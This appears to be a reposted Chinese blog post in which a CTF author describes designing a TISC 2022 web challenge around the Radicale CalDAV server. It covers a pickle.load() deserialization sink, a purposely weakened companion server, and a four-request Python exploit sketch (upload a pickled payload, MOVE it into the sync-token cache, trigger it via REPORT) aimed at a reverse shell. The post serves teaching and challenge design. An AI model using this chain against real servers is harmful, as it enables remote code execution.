挑战设计:为2022年信息安全挑战赛打造CalDAV协议漏洞利用关卡
挑战设计背景
虽然我不常参加CTF比赛,但热衷于设计CTF挑战题目,因为这能迫使我通过实践学习。设计优秀的CTF挑战更像艺术而非科学。作为去年3万美元奖金"The InfoSecurity Challenge"(TISC)的获胜者,我决定今年贡献一个挑战题目。
设计原则
教育性
最好的CTF挑战应该具有教学价值。我的挑战围绕CalDAV协议设计,这是WEBDAV(HTTP的扩展协议)的研究较少的超集协议,从iOS默认日历到IoT设备都在使用。在DEF CON 30大会上,我展示过iCalendar文件格式的研究,但未公开其通信协议的相关发现。
真实性
尽管所有CTF挑战都存在人为设计成分,我尽量保持真实性:使用真实开源代码(Radicale服务器),确保漏洞利用链逻辑合理,还原日常Web漏洞研究中的代码审计体验。
透明性
避免"通过 obscurity 增加难度"的黑盒模式,我构建了白盒挑战,所有相关代码都对参赛者可见。
挑战性
Web类题目通常是最容易的CTF挑战类别。我试图打破这种认知:虽然提供源代码,但要求参赛者阅读RFC文档并构造特殊payload。
最重要的是——这个挑战必须足够优雅:
:prohibited: 禁止暴力破解
:prohibited: 禁止盲目猜测
:bullseye: 最终获得反向shell
"几乎可利用"的漏洞
漏洞研究中最痛苦的时刻,就是发现某个潜在漏洞点因输入过滤、验证或数据转换而无法利用。Radicale(流行开源CalDAV服务器)中就存在这样的"准漏洞"。
Radicale除了处理iCalendar文件外,还使用Python标准库pickle存储日历元数据。当调用pickle.load()
反序列化时,会执行pickle文件中类的__reduce__
方法——这是众所周知的代码执行向量。
Radicale在三处调用了pickle.load()
,其中一处位于storage/multifilesystem/sync.py
:
class CollectionPartSync(CollectionPartCache, CollectionPartHistory,
CollectionBase):
def sync(self, old_token: str = "") -> Tuple[str, Iterable[str]]:
if old_token_name:
with open(old_token_path, "rb") as f:
old_state = pickle.load(f) # 漏洞点
触发路径需要满足:
- 发送REPORT请求,XML正文包含
D:sync-collection
根元素和D:sync-token
子元素 - sync-token值格式必须为:
http://radicale.org/ns/sync/<64位小写hex字符串>
- pickle文件必须存在于:
<根目录>/<用户名>/<日历名>/.Radicale.cache/sync-token/<合法token名>
但Radicale的路径消毒函数is_safe_filesystem_path_component()
会检查路径段是否以点开头,阻止写入.Radicale.cache
目录。
构造利用链
作为CTF挑战,我通过以下设计使"准漏洞"变得可利用:
- 用Go编写"开发版"CalDAV服务器,共享Radicale的根目录
- 保留授权检查但移除
.
开头的路径限制 - 利用WebDAV的MOVE/COPY方法(通过Destination头指定目标路径)绕过路径段限制
完整攻击仅需4个HTTP请求:
# 1. 创建sync-token目录
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=generate_sync_token)
# 2. 上传payload
session.put(DEV_SERVER_URL+"/"+USERNAME+"/payload", data=pickle.dumps(RCE()))
# 3. 移动payload到目标位置
session.request("MOVE", DEV_SERVER_URL+"/"+USERNAME+"/payload",
headers={"Destination":DEV_SERVER_URL+"/"+USERNAME+"/default/.Radicale.cache/sync-token/"+SYNC_TOKEN_NAME})
# 4. 触发执行
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=execute_payload)
意外挑战与解决方案
测试中发现三个意外问题:
- 其他pickle.load()调用点:通过nginx反向代理禁用GET等方法,强制使用REPORT方法触发目标路径
- 环境隔离问题:使用radicale受限用户和定时清理脚本防止解题干扰
- 解题时间预估偏差:原预计6小时,实际平均耗时7天,最终通过三条渐进式提示引导参赛者:
- "将其视为代码审计挑战,已提供反向代理配置"
- "研究RFC中的PROPFIND方法,关注其他HTTP方法"
- "两个服务器共存的原因?尝试利用一个服务器攻破另一个"
经验总结
这次挑战设计揭示了:
- 难度评估的复杂性
- 在"透明性"和"挑战性"之间需要权衡
- 充分的测试环节至关重要
最终目标不仅是比赛——希望参赛者能深入理解这个广泛使用但陈旧的协议标准,并掌握代码审计的核心方法论。祝贺所有获胜者!
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码